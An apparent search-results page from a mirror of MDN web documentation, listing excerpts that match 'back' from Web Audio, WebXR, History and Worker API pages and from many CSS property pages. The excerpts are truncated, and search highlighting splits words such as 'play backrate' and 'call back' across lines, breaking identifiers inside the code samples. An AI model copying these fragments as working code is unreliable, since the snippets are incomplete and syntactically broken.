backup choice, like this: let xrsession = null; let xrreferencespace = null; let spacetype = null; function onsessionstarted(session) { xrsession = session; spacetype = "bounded-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) .catch(() => { spacetype = "local-floor"; xrsession.requestreferencespace(spacetype) .then(onrefspacecreated) ...
Advanced techniques: Creating and sequencing audio - Web APIs
dial-up user controls the audiobuffersourcenode comes with a play
backrate property.
...we'll do that in the same sort of way as before: <label for="rate">rate</label> <input name="rate" id="rate" type="range" min="0.1" max="2" value="1" step="0.1" /> let play
backrate = 1; const ratecontrol = document.queryselector('#rate'); ratecontrol.addeventlistener('input', function() { play
backrate = number(this.value); }, false); the final playsample() function we'll then add a line to update the play
backrate property to our playsample() function.
... the final version looks like this: function playsample(audiocontext, audiobuffer) { const samplesource = audiocontext.createbuffersource(); samplesource.buffer = audiobuffer; samplesource.play
backrate.setvalueattime(play
backrate, audioctx.currenttime); samplesource.connect(audiocontext.destination) samplesource.start(); return samplesource; } note: the sound file was sourced from soundbible.com.
... function() { tempo = number(this.value); }, false); then we'll create variables to define how far ahead we want to look, and how far ahead we want to schedule: let lookahead = 25.0; // how frequently to call scheduling function (in milliseconds) let scheduleaheadtime = 0.1; // how far ahead to schedule audio (sec) let's create a function that moves the note forwards by one beat, and loops
back to the first when it reaches the 4th (last) one: let currentnote = 0; let nextnotetime = 0.0; // when the next note is due.
Web audio spatialization basics - Web APIs
we can move it left and right, up and down, and
back and forth; we can also rotate it.
...make it project to the
back when the boombox is rotated 180 degrees and facing away from us.
...sform.xaxis < rightbound) { transform.xaxis += 5; panner.positionx.value += 0.1; } break; case 'down': if (transform.yaxis < bottombound) { transform.yaxis += 5; panner.positiony.value += 0.3; } break; } } it's a similar story for our move in and out values too: case '
back': if (transform.zaxis > innerbound) { transform.zaxis -= 0.01; panner.positionz.value += 40; } break; case 'forward': if (transform.zaxis < outerbound) { transform.zaxis += 0.01; panner.positionz.value -= 40; } break; our rotation values are a little more involved, however, as we need to move the sound around.
... } break; case 'right': if (transform.xaxis < rightbound) { transform.xaxis += 5; panner.positionx.value += 0.1; } break; case 'down': if (transform.yaxis < bottombound) { transform.yaxis += 5; panner.positiony.value += 0.3; } break; case '
back': if (transform.zaxis > innerbound) { transform.zaxis -= 0.01; panner.positionz.value += 40; } break; case 'forward': if (transform.zaxis < outerbound) { transform.zaxis += 0.01; panner.positionz.value -= 40; } break; case 'rotate-left': trans...
Window: popstate event - Web APIs
the popstate event will be triggered by doing a browser action such as a click on the
back or forward button (or calling history.
back() or history.forward() in javascript).
...if the goal is to catch the moment when the new document state is already fully in place, a zero-delay settimeout() method call should be used to effectively put its inner call
back function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either due to the user triggering the browser's "
back" button or otherwise, the popstate event is near the end of the process to transition to the new location.
.../example.com/example.html running the following code will generate logs as indicated: window.addeventlistener('popstate', (event) => { console.log("location: " + document.location + ", state: " + json.stringify(event.state)); }); history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.
back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.
back(); // logs "location: http://example.com/example.html, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" the same example using the onpopstate event handler property: window.onpopstate = function(event) { console.log("location: " + document.lo...
...cation + ", state: " + json.stringify(event.state)); }; history.pushstate({page: 1}, "title 1", "?page=1"); history.pushstate({page: 2}, "title 2", "?page=2"); history.replacestate({page: 3}, "title 3", "?page=3"); history.
back(); // logs "location: http://example.com/example.html?page=1, state: {"page":1}" history.
back(); // logs "location: http://example.com/example.html, state: null" history.go(2); // logs "location: http://example.com/example.html?page=3, state: {"page":3}" note that even though the original history entry (for http://example.com/example.html) has no state object associated with it, a popstate event is still fired when we activate that entry after the second call to history.
back().
Worker.prototype.postMessage() - Web APIs
the worker can send
back information to the thread that spawned it using the dedicatedworkerglobalscope.postmessage method.
... transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it
back to the main thread.
...ytelength post transfer:', arrbuf.bytelength); worker code self.onmessage = function (msg) { switch (msg.data.atopic) { case 'do_sendworkerarrbuff': sendworkerarrbuff(msg.data.abuf) break; default: throw 'no atopic on incoming message to chromeworker'; } } function sendworkerarrbuff(abuf) { console.info('from worker, pre send
back abuf.bytelength:', abuf.bytelength); self.postmessage({atopic:'do_sendmainarrbuff', abuf:abuf}, [abuf]); console.info('from worker, post send
back abuf.bytelength:', abuf.bytelength); } output logged arrbuf.bytelength pre transfer: 8 bootstrap.js:40 arrbuf.bytelength post transfer: 0 bootstrap.js:42 from worker, pre send b...
...} bootstrap.js:20 got
back buf in main thread, abuf.bytelength: 8 bootstrap.js:12 from worker, post send
back abuf.bytelength: 0 myworker.js:7:2 bytelength goes to 0 as it is transferred.
XRSession.cancelAnimationFrame() - Web APIs
syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that previously scheduled the animation call
back.
... the pausexr() function shown at the bottom can be called to suspend the webvr session, in essence, by canceling any pending animation frame call
back.
... since each frame call
back schedules the next one, removing the call
back terminates updating of the webxr scene.
... const xr = navigator.xr; let requesthandle = null; let xrsession = null; if (xr) { xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { startxr(); } }); } function framecall
back(time, xrframe) { xrsession.requestanimationframe(framecall
back); // update and render the frame } async function startxr() { xrsession = xr.requestsession("immersive-vr"); if (xrsession) { stopbutton.onclick = stopxr; requesthandle = xrsession.requestanimationframe(framecall
back); } } function pausexr() { if (xrsession && requesthandle) { xrsession.cancelanimationframe(requesthandle); requesthandle = null; } } specifications specification status comment webxr device apithe definition of 'xrsession.can...
-webkit-print-color-adjust - CSS: Cascading Style Sheets
the -webkit-print-color-adjust property is a non-standard css extension that can be used to force printing of
background colors and images in browsers based on the webkit engine.
...
background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog.
... exact
background colors and images of the element to which this rule is applied are always printed, user's print settings are overridden.
... examples forcing white-on-black printing article { -webkit-print-color-adjust: exact;
background: #222; color: #eee; } specifications not part of any standard, though there is a proposal in the csswg wiki to standardize it.
::selection - CSS: Cascading Style Sheets
::selection {
background-color: cyan; } allowable properties only certain css properties can be used with ::selection: color
background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow in particular,
background-image is ignored.
...<p>also try selecting text in this paragraph.</p> css ::-moz-selection { color: gold;
background-color: red; } p::-moz-selection { color: white;
background-color: blue; } /* make selected text gold on a red
background */ ::selection { color: gold;
background-color: red; } /* make selected text in a paragraph white on a blue
background */ p::selection { color: white;
background-color: blue; } result accessibility concerns don't override selected text styles for purely aesthetic reasons — users can customize them to suit their needs.
... if overridden, it is important to ensure that the contrast ratio between the text and
background colors of the selection is high enough that people experiencing low vision conditions can read it.
... color contrast ratio is found by comparing the luminosity of the selected text and the selected text
background colors.
:fullscreen - CSS: Cascading Style Sheets
syntax :fullscreen usage notes the :fullscreen pseudo-class lets you configure your stylesheets to automatically adjust the size, style, or layout of content when elements switch
back and forth between full-screen and traditional presentations.
...the first establishes the
background color of the "toggle full-screen mode" button when the element is not in a full-screen state.
... #fs-toggle:not(:fullscreen) {
background-color: #afa; } when the document is in full-screen mode, the following css applies instead, setting the
background color to a pale shade of red.
... #fs-toggle:fullscreen {
background-color: #faa; } specifications specification status comment fullscreen apithe definition of ':fullscreen' in that specification.
system - CSS: Cascading Style Sheets
if the algorithm specified in the system descriptor is unable to construct the representation for a particular counter value, then that value's representation will be constructed using the fall
back system provided.
...once the end of the list of symbols is reached, it will loop
back to the beginning and start over.
...once the system has looped through all the specified symbols, it will fall
back.
...once outside of the range, the rest of the counter representations will be based on the decimal style, which is the fall
back.
-ms-high-contrast - CSS: Cascading Style Sheets
high contrast mode is a specialized display mode that prioritizes making content as legible as possible by dynamically replacing foreground and
background colors with a user-specified theme.
... @media screen and (-ms-high-contrast: active) { /* all high contrast styling rules */ } @media screen and (-ms-high-contrast: black-on-white) { div {
background-image: url('image-bw.png'); } } @media screen and (-ms-high-contrast: white-on-black) { div {
background-image: url('image-wb.png'); } } accessibility concerns theming high contrast mode's theme colors come from a limited subset of deprecated css2 system colors.
... highlight: controls the
background color of selected text.
... window: controls the color of the
background.
Introduction to the CSS basic box model - CSS: Cascading Style Sheets
css determines the size, position, and properties (color,
background, border size, etc.) of these boxes.
...it often has a
background color or
background image.
...when there is a
background (
background-color or
background-image) set on a box, it extends to the outer edge of the border (i.e.
...this default behavior can be altered with the
background-clip css property.
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
back in the early days of web design, the way we constructed page layout was to use html tables, then fragment our design into the cells of those tables in order to create a layout.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; } .box1 { grid-column: 1; grid-row: 2; } <div class="wrapper"> <div class="box box1"><a href="">one</a></div> <div class="b...
...ox box2"><a href="">two</a></div> <div class="box box3"><a href="">three</a></div> <div class="box box4"><a href="">four</a></div> <div class="box box5"><a href="">five</a></div> </div> the specification says that in this scenario, if box 1 really makes sense logically in that position, we should go
back to our source and make the change there rather than reordering using grid layout.
...however the onus is on us as developers to remember to go
back to our source and update it to maintain logical order.
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
the float no longer applies, and i can use the css box alignment property align-self to align my content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <d...
...to create gaps between the cards, i use a margin on the items, and then a negative margin on the container: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10...
...the layout now works, even if there is more content in one of the cards, than the others: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10...
...i have used the vertical-align property on my item when in the inline-block display mode, but this property does not apply to grid items and, therefore, is ignored once the item becomes a grid item: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { display: inline-block; vertical-align: top; width: calc(33.333333% - 20px); margin:...
Implementing image sprites in CSS - CSS: Cascading Style Sheets
rather than include each image as a separate image file, it is much more memory- and bandwidth-friendly to send them as a single image; using
background position as a way to distinguish between individual images in the same image file, so the number of http requests is reduced.
... implementation suppose an image is given to every item with class toolbtn: .toolbtn {
background: url(myfile.png); display: inline-block; height: 20px; width: 20px; } a
background position can be added either as two x, y values after the url()() in the
background, or as
background-position.
... for example: #btn1 {
background-position: -20px 0px; } #btn2 {
background-position: -40px 0px; } this would move the element with the id 'btn1' 20 pixels to the left and the element with the id 'btn2' 40 pixels to the left (assuming they have the class toolbtn assigned and are affected by the image rule above).
... similarly, you can also make hover states with: #btn:hover {
background-position: <pixels shifted right>px <pixels shifted down>px; } ...
Stacking with floated blocks - CSS: Cascading Style Sheets
floating blocks are placed between non-positioned blocks and positioned blocks: the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant positioned elements, in order of appearance in the html actually, as you can see in the example below, the
background and border of the non-positioned block (div #4) is completely unaffected by floating blocks, but the content is affected.
...this behavior can be shown with an added rule to the above list: the
background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the
background and border of that block pops up above the floating blocks and the positioned blocks.
... <div id="flo2"> <b>div #3</b><br />float: right;</div> <br /> <div id="sta1"> <b>div #4</b><br />no positioning</div> <div id="abs2"> <b>div #5</b><br />position: absolute;</div> css div { padding: 10px; text-align: center; } b { font-family: sans-serif; } #abs1 { position: absolute; width: 150px; height: 200px; top: 10px; right: 140px; border: 1px dashed #900;
background-color: #fdd; } #sta1 { height: 100px; border: 1px dashed #996;
background-color: #ffc; margin: 0px 10px 0px 10px; text-align: left; } #flo1 { margin: 0px 10px 0px 20px; float: left; width: 150px; height: 200px; border: 1px dashed #090;
background-color: #cfc; } #flo2 { margin: 0px 20px 0px 10px; float: right; width: 150px; height: 200px; border: 1px dashed...
... #090;
background-color: #cfc; } #abs2 { position: absolute; width: 150px; height: 100px; top: 130px; left: 100px; border: 1px dashed #990;
background-color: #fdd; } ...
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
the main things to note are as follows: the scroll-snap-type-x and scroll-snap-type-y properties have been dropped the scroll-snap-type property has become a longhand, so the old shorthand syntax like scroll-snap-type:mandatory will stop working can i use the old implementation as a fall
back?
... if you have already used the old implementation as a fall
back, or feel you want to support users of old firefox (or -webkit prefixed safari), then you can continue to use the old specification as outlined in the example below.
... scroll snapping is one of those nice parts of css in which the fall
back is that you don't get the enhanced functionality, but everything still works.
... i would suggest at this point you should implement the new specification only, unless you have data to show a large number of users who would benefit from a fall
back version.
Privacy and the :visited selector - CSS: Cascading Style Sheets
only the following styles can be applied to visited links: color
background-color border-color (and its sub-properties) column-rule-color outline-color the color parts of the fill and stroke attributes in addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba(), hsla(), or the transparent keyword.
... here is an example of how to use styles with the aforementioned restrictions: :link { outline: 1px dotted blue;
background-color: white; /* the default value of
background-color is `transparent`.
...*/ } :visited { outline-color: orange; /* visited links have an orange outline */
background-color: green; /* visited links have a green
background */ color: yellow; /* visited links have yellow colored text */ } impact on web developers overall, these restrictions shouldn't affect web developers too significantly.
... they may, however, require the following changes to existing sites: using
background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.
animation-direction - CSS: Cascading Style Sheets
the animation-direction css property sets whether an animation should play forward,
backward, or alternate
back and forth between playing the sequence forward and
backward.
... reverse the animation plays
backwards each cycle.
...animation steps are performed
backwards, and timing functions are also reversed.
... alternate-reverse the animation reverses direction each cycle, with the first iteration being played
backwards.
animation-fill-mode - CSS: Cascading Style Sheets
syntax /* single animation */ animation-fill-mode: none; animation-fill-mode: forwards; animation-fill-mode:
backwards; animation-fill-mode: both; /* multiple animations */ animation-fill-mode: none,
backwards; animation-fill-mode: both, forwards, none; values none the animation will not apply any styles to the target when it's not executing.
... animation-direction animation-iteration-count last keyframe encountered normal even or odd 100% or to reverse even or odd 0% or from alternate even 0% or from alternate odd 100% or to alternate-reverse even 100% or to alternate-reverse odd 0% or from
backwards the animation will apply the values defined in the first relevant keyframe as soon as it is applied to the target, and retain this during the animation-delay period.
... the first relevant keyframe depends on the value of animation-direction: animation-direction first relevant keyframe normal or alternate 0% or from reverse or alternate-reverse 100% or to both the animation will follow the rules for both forwards and
backwards, thus extending the animation properties in both directions.
... formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-fill-mode>#where <single-animation-fill-mode> = none | forwards |
backwards | both examples you can see the effect of animation-fill-mode in the following example.
attr() - CSS: Cascading Style Sheets
/* simple usage */ attr(data-count); attr(title); /* with type */ attr(src url); attr(data-count number); attr(data-width px); /* with fall
back */ attr(data-count number, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values attribute-name is the name of an attribute on the html element referenced in the css.
... <fall
back> the value to be used if the associated attribute is missing or contains an invalid value.
...[, <attr-fall
back> ]?
...olor | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="
background" data-
background="lime">
background expected to be red if your browser does not support advanced usage of attr()</div> css .
background { height: 100vh; } .
background {
background-color: red; } .
background[data-
background] {
background-color: attr(data-
background color, red); } specifications specification status comment css values and units module...
border-style - CSS: Cascading Style Sheets
unless a
background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...unless a
background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...ne</td> <td class="b2">hidden</td> <td class="b3">dotted</td> <td class="b4">dashed</td> </tr> <tr> <td class="b5">solid</td> <td class="b6">double</td> <td class="b7">groove</td> <td class="b8">ridge</td> </tr> <tr> <td class="b9">inset</td> <td class="b10">outset</td> </tr> </table> css /* define look of the table */ table { border-width: 3px;
background-color: #52e396; } tr, td { padding: 2px; } /* border-style example classes */ .b1 {border-style:none;} .b2 {border-style:hidden;} .b3 {border-style:dotted;} .b4 {border-style:dashed;} .b5 {border-style:solid;} .b6 {border-style:double;} .b7 {border-style:groove;} .b8 {border-style:ridge;} .b9 {border-style:inset;} .b10 {border-style:outset;} result specifications specificat...
...ion status comment css
backgrounds and borders module level 3the definition of 'border-style' in that specification.
box-decoration-break - CSS: Cascading Style Sheets
the specified value will impact the appearance of the following properties:
background border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below.
...the
background is also drawn independently for each fragment, which means that a
background image with
background-repeat: no-repeat may nevertheless repeat multiple times.
... formal definition initial valuesliceapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax slice | clone examples inline box fragments an inline element that contains line breaks styled with: .example {
background: linear-gradient(to bottom right, yellow, green); box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow; padding: 0em 1em; border-radius: 16px; border-style: solid; margin-left: 10px; font: 24px sans-serif; line-height: 2; } ...
... now, the same example but styled with box-decoration-break: clone results in: note here that each fragment has an identical replicated border, box-shadow, and
background.
<gradient> - CSS: Cascading Style Sheets
<div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient {
background: linear-gradient(to right, red, orange, yellow, green, blue, indigo, violet); } radial gradient example a simple radial gradient.
... <div class="radial-gradient">radial gradient</div> div { width: 240px; height: 80px; } .radial-gradient {
background: radial-gradient(red, yellow, rgb(30, 144, 255)); } repeating gradient examples simple repeating linear and radial gradient examples.
... <div class="linear-repeat">repeating linear gradient</div> <br> <div class="radial-repeat">repeating radial gradient</div> div { width: 240px; height: 80px; } .linear-repeat {
background: repeating-linear-gradient(to top left, lightpink, lightpink 5px, white 5px, white 10px); } .radial-repeat {
background: repeating-radial-gradient(powderblue, powderblue 8px, white 8px, white 16px); } conic gradient example a simple conic gradient example.
... <div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient {
background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
offset-anchor - CSS: Cascading Style Sheets
for more specifics, see the <position> and
background-position reference pages.
... note that the 3-value position syntax does not work for any usage of <position>, except for in
background(-position).
...the three are then given different
background-color and offset-anchor values.
... html <section> <div class="offset-anchor1"></div> </section> <section> <div class="offset-anchor2"></div> </section> <section> <div class="offset-anchor3"></div> </section> css div { offset-path: path('m 0,20 l 200,20'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; } section {
background-image: linear-gradient(to bottom, transparent, transparent 49%, #000 50%, #000 51%, transparent 52%); border: 1px solid #ccc; margin-bottom: 10px; } .offset-anchor1 { offset-anchor: auto;
background: cyan; } .offset-anchor2 { offset-anchor: right top;
background: purple; } .offset-anchor3 { offset-anchor: left bottom;
background: magenta; } @keyframes move { 0% { o...
perspective - CSS: Cascading Style Sheets
<table> <tbody> <tr> <th><code>perspective: 250px;</code> </th> <th><code>perspective: 350px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers250"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers350"> <div class="face front">1</div> <div class="face
back">2</div> ...
...">5</div> <div class="face bottom">6</div> </div> </div> </td> </tr> <tr> <th><code>perspective: 500px;</code> </th> <th><code>perspective: 650px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers500"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers650"> <div class="face front">1</div> <div class="face
back">2</div> ...
... /* shorthand classes for different perspective values */ .pers250 { perspective: 250px; } .pers350 { perspective: 350px; } .pers500 { perspective: 500px; } .pers650 { perspective: 650px; } /* define the container div, the cube div, and a generic face */ .container { width: 200px; height: 200px; margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%;
backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front {
background: rgba(0, 0, 0, 0.3); transform: tr...
...anslatez(50px); } .
back {
background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(196, 196, 0, 0.7); transform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(196, 0, 196, 0.7); transform: rotatex(-90deg) translatez(50px); } /* make the table a little nicer */ th, p, td {
background-color: #eeeeee; padding: 10px; font-family: sans-serif; text-align: left; } result specifications specification status comment css transforms level 2the definition of 'perspective' in that specific...
position - CSS: Cascading Style Sheets
html <div class="box" id="one">one</div> <div class="box" id="two">two</div> <div class="box" id="three">three</div> <div class="box" id="four">four</div> css .box { display: inline-block; width: 100px; height: 100px;
background: red; color: white; } #two { position: relative; top: 20px; left: 20px;
background: blue; } absolute positioning elements that are relatively positioned remain in the normal flow of the document.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> css body { width: 500px; margin: 0 auto; } p {
background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span {
background: red; border: 1px solid black; } .positioned { position: absolute;
background: yellow; top: 30px; left: 30px; } result fixed positioning fixed positioning is similar to absolute positioning, with the exception that the element's containing block is the initial containing block establishe...
... </p> <div class="box" id="one">one</div> </div> css .box { width: 100px; height: 100px;
background: red; color: white; } #one { position: fixed; top: 80px; left: 10px;
background: blue; } .outer { width: 500px; height: 300px; overflow: scroll; padding-left: 150px; } result sticky positioning sticky positioning can be thought of as a hybrid of relative and fixed positioning.
...d> <dd>common</dd> <dd>converge</dd> <dd>crystal castles</dd> <dd>cursive</dd> </div> <div> <dt>e</dt> <dd>explosions in the sky</dd> </div> <div> <dt>t</dt> <dd>ted leo & the pharmacists</dd> <dd>t-pain</dd> <dd>thrice</dd> <dd>tv on the radio</dd> <dd>two gallants</dd> </div> </dl> css * { box-sizing: border-box; } dl > div {
background: #fff; padding: 24px 0 0 0; } dt {
background: #b8c1c8; border-bottom: 1px solid #989ea4; border-top: 1px solid #717d85; color: #fff; font: bold 18px/21px helvetica, arial, sans-serif; margin: 0; padding: 2px 0 0 12px; position: -webkit-sticky; position: sticky; top: -1px; } dd { font: bold 20px/45px helvetica, arial, sans-serif; margin: 0; padding: 0 0 0 12px;...
<transform-function> - CSS: Cascading Style Sheets
choose one, and the transform is applied to the cube; after 2 seconds, the cube reverts
back to its starting state.
... html <main> <section id="example-element"> <div class="face front">1</div> <div class="face
back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="select-form"> <label>select a transform function</label> <select> <option selected>choose a function</option> <option>rotate(360deg)</option> <option>rotatex(360deg)</option> <option>rotatey(360deg)</option> <option>rotatez(360deg)</option> <option>rotate3d(1, 1, 1, 90deg)</option> <option>scale(1.5)</option> <option>scalex(...
...tion> <option>translatey(100px)</option> <option>translatez(100px)</option> <option>translate3d(50px, 50px, 50px)</option> <option>perspective(200px)</option> <option>matrix(1, 2, -1, 1, 80, 80)</option> <option>matrix3d(1,0,0,0,0,1,3,0,0,0,1,0,50,100,0,1.1)</option> </select> </div> </main> css main { width: 400px; height: 200px; padding: 50px;
background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute;
backface-visibility: inherit; font-size: 60px; c...
...olor: #fff; } .front {
background: rgba(90,90,90,.7); transform: translatez(50px); } .
back {
background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right {
background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left {
background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top {
background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom {
background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascript const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a funct...
url() - CSS: Cascading Style Sheets
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */
background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); offset-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fall
backs */ cursor: url(pointer.cur), pointer; /* associated sh...
...ort-hand properties */
background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */
background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... the url() function can be included as a value for
background,
background-image, list-style, list-style-image, content, cursor, border, border-image, border-image-source, mask, mask-image, src as part of a @font-face block, and @counter-style/symbol in css level 1, the url() functional notation described only true urls.
... formal syntax url( <string> <url-modifier>* ) examples content property html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); } result data-uri html <div class="
background"></div> css .
background { height: 100vh; } .
background {
background: yellow;
background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specificati...
Live streaming web audio and video - Developer guides
rtsp 2.0 rtsp 2.0 is currently in development and is not
backward compatible with rtsp 1.0.
... for example: <video src="rtsp://myhost.com/mymedia.format"> <!-- fall
back here --> </video> media source extensions (mse) media source extensions is a w3c working draft that plans to extend htmlmediaelement to allow javascript to generate media streams for play
back.
... internet explorer 10+ ✓ 11 ✓ [2] firefox mobile ✓ ✓ ✓ safari ios6+ ✓ chrome mobile ✓ ✓ [2] opera mobile ✓ [1] ✓ internet explorer mobile ✓ 11 ✓ [2] android ✓ [1] via javascript and mse [2] via javascript and a cors proxy video fall
backs between dash and hls we can cover a significant portion of modern browsers but we still need a fall
back if we want to support the rest.
... one popular approach is to use a flash fall
back that supports rtmp.
Block formatting context - Developer guides
as explained in the guide to in-flow and out of flow elements, the float has been taken out of flow so the
background and border of the <div> only contain the content and not the float.
...class="float">i am a floated box!</div> <p>i am content inside the <code>overflow:auto</code> container.</p> </div> </section> <section> <div class="box" style="display:flow-root"> <div class="float">i am a floated box!</div> <p>i am content inside the <code>display:flow-root</code> container.</p> </div> </section> css section { height:150px; } .box {
background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; } .box[style] {
background-color: aliceblue; border: 5px solid steelblue; } .float { float: left; width: 200px; height: 100px;
